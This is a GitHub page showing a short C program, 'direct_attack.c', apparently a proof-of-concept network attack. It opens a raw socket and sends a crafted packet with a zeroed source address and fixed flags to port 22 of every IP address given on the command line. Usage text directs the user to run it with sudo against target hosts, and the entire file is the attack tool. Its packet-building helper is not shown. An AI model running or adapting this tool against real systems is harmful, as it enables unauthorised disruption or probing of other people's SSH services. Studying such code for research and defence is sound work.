-
Notifications
You must be signed in to change notification settings - Fork 283
Expand file tree
/
Copy pathdirect_attack.c
More file actions
45 lines (39 loc) · 1.06 KB
/
direct_attack.c
File metadata and controls
45 lines (39 loc) · 1.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include "send_packet.h"
int main(int argc, char* argv[])
{
if (argc <= 1) {
const char* progname = "a.out"; // Default program name
if (argc > 0) {
progname = argv[0];
}
printf("Usage: sudo %s <dest ip> <dest ip> ...\n", progname);
printf("Example:\n");
printf(" sudo %s 192.168.0.8 192.168.0.12\n", progname);
return 1;
}
const uint32_t src = 0; // 0net_addr(argv[1]);
const uint16_t dst_port = ntohs(22);
const uint16_t src_port = ntohs(1234);
const int sock = create_raw_socket();
if (sock < 0) {
printf("Failed to create socket. Try running with sudo.\n");
return 1;
}
int i;
for (i = 1; i < argc; i++) {
const uint32_t dst = inet_addr(argv[i]);
const int r0 = send_packet(sock, src, src_port, dst, dst_port, 0, 0, 1, 0);
if (r0 < 0) {
printf("send to %s failed\n", argv[i]);
return 1;
}
}
const int r1 = close(sock);
if (r1 < 0) {
printf("could not close socket.\n");
return -1;
}
// Data sent successfully
printf("Packets sent successfully\n");
return 0;
}